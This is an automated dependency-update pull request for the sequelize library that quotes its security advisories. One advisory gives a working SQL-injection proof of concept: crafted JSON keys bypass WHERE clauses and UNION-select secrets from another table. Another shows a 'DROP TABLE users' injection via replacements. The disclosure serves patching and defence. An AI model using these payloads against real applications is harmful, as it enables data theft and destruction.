🚨 [security] Update sequelize 6.3.4 → 6.37.8 (minor)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ sequelize (6.3.4 → 6.37.8) · Repo · Changelog

Security Advisories 🚨

🚨 Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);
if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {

throw new Error(Invalid cast type: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">cast</span><span class="pl-kos">}</span></span>);

}

PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');
async function main() {

const sequelize = new Sequelize('sqlite::memory:', { logging: false });
const User = sequelize.define('User', {

username: DataTypes.STRING,

metadata: DataTypes.JSON,

});
const Secret = sequelize.define('Secret', {

key: DataTypes.STRING,

value: DataTypes.STRING,

});
await sequelize.sync({ force: true });
await User.bulkCreate([

{ username: 'alice', metadata: { role: 'admin', level: 10 } },

{ username: 'bob',   metadata: { role: 'user',  level: 5 } },

{ username: 'charlie', metadata: { role: 'user', level: 1 } },

]);
await Secret.bulkCreate([

{ key: 'api_key', value: 'sk-secret-12345' },

{ key: 'db_password', value: 'super_secret_password' },

]);
// TEST 1: WHERE clause bypass

const r1 = await User.findAll({

where: { metadata: { 'role::text) or 1=1--': 'anything' } },

logging: (sql) => console.log('SQL:', sql),

});

console.log('OR 1=1:', r1.map(u => u.username));

// Returns ALL rows: ['alice', 'bob', 'charlie']
// TEST 2: UNION-based cross-table exfiltration

const r2 = await User.findAll({

where: {

metadata: {

'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'

}

},

raw: true,

logging: (sql) => console.log('SQL:', sql),

});

console.log('UNION:', r2.map(r => <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">username</span><span class="pl-kos">}</span></span>=<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">metadata</span><span class="pl-kos">}</span></span>));

// Returns: api_key=sk-secret-12345, db_password=super_secret_password

}
main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]
SQL: SELECT id, username, metadata, createdAt, updatedAt

FROM Users AS User

WHERE CAST(json_extract(User.metadata,'$.role') AS TEXT) AND 0

UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';

UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

🚨 Sequelize - Default support for “raw attributes” when using parentheses

Impact

Sequelize 6.28.2 and prior has a dangerous feature where using parentheses in the attribute option would make Sequelize use the string as-is in the SQL

User.findAll({
  attributes: [
    ['count(id)', 'count']
  ]
});

Produced

SELECT count(id) AS "count" FROM "users"

Patches

This feature was deprecated in Sequelize 5, and using it prints a deprecation warning.

This issue has been patched in @sequelize/core@7.0.0.alpha-20 and sequelize@6.29.0.

In Sequelize 7, it now produces the following:

SELECT "count(id)" AS "count" FROM "users"

In Sequelize 6, it throws an error explaining that we had to introduce a breaking change, and requires the user to explicitly opt-in to either the Sequelize 7 behavior (always escape) or the Sequelize 5 behavior (inline attributes that include () without escaping). See #15710 for more information.

Mitigations

Do not use user-provided content to build your list or attributes. If you do, make sure that attribute in question actually exists on your model by checking that it exists in the rawAttributes property of your model first.

---

A discussion thread about this issue is open at #15694
CVE: CVE-2023-22578

🚨 Unsafe fall-through in getWhereConditions

Impact

Providing an invalid value to the where option of a query caused Sequelize to ignore that option instead of throwing an error.

A finder call like the following did not throw an error:

User.findAll({
  where: new Date(),
});

As this option is typically used with plain javascript objects, be aware that this only happens at the top level of this option.

Patches

This issue has been patched in sequelize@6.28.1 & @sequelize/core@7.0.0.alpha-20

References

A discussion thread about this issue is open at #15698

CVE: CVE-2023-22579
Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-3324090

🚨 Sequelize vulnerable to SQL Injection via replacements

Impact

The SQL injection exploit is related to replacements. Here is such an example:

In the following query, some parameters are passed through replacements, and some are passed directly through the where option.

User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

This is a very legitimate use case, but this query was vulnerable to SQL injection due to how Sequelize processed the query: Sequelize built a first query using the where option, then passed it over to sequelize.query which parsed the resulting SQL to inject all :replacements.

If the user passed values such as

{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

Sequelize would first generate this query:

SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'

Then would inject replacements in it, which resulted in this:

SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''

As you can see this resulted in arbitrary user-provided SQL being executed.

Patches

The issue was fixed in Sequelize 6.19.1

Workarounds

Do not use the replacements and the where option in the same query if you are not using Sequelize >= 6.19.1

References

See this thread for more information: #14519

Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-2932027

🚨 Sequelize information disclosure vulnerability

Due to improper input filtering in the sequelize js library, can malicious queries lead to sensitive information disclosure.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 3 commits:

• fix: validate cast types in JSON where clauses
• Merge commit from fork
• meta: Fix MSSQL CI (#17931)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)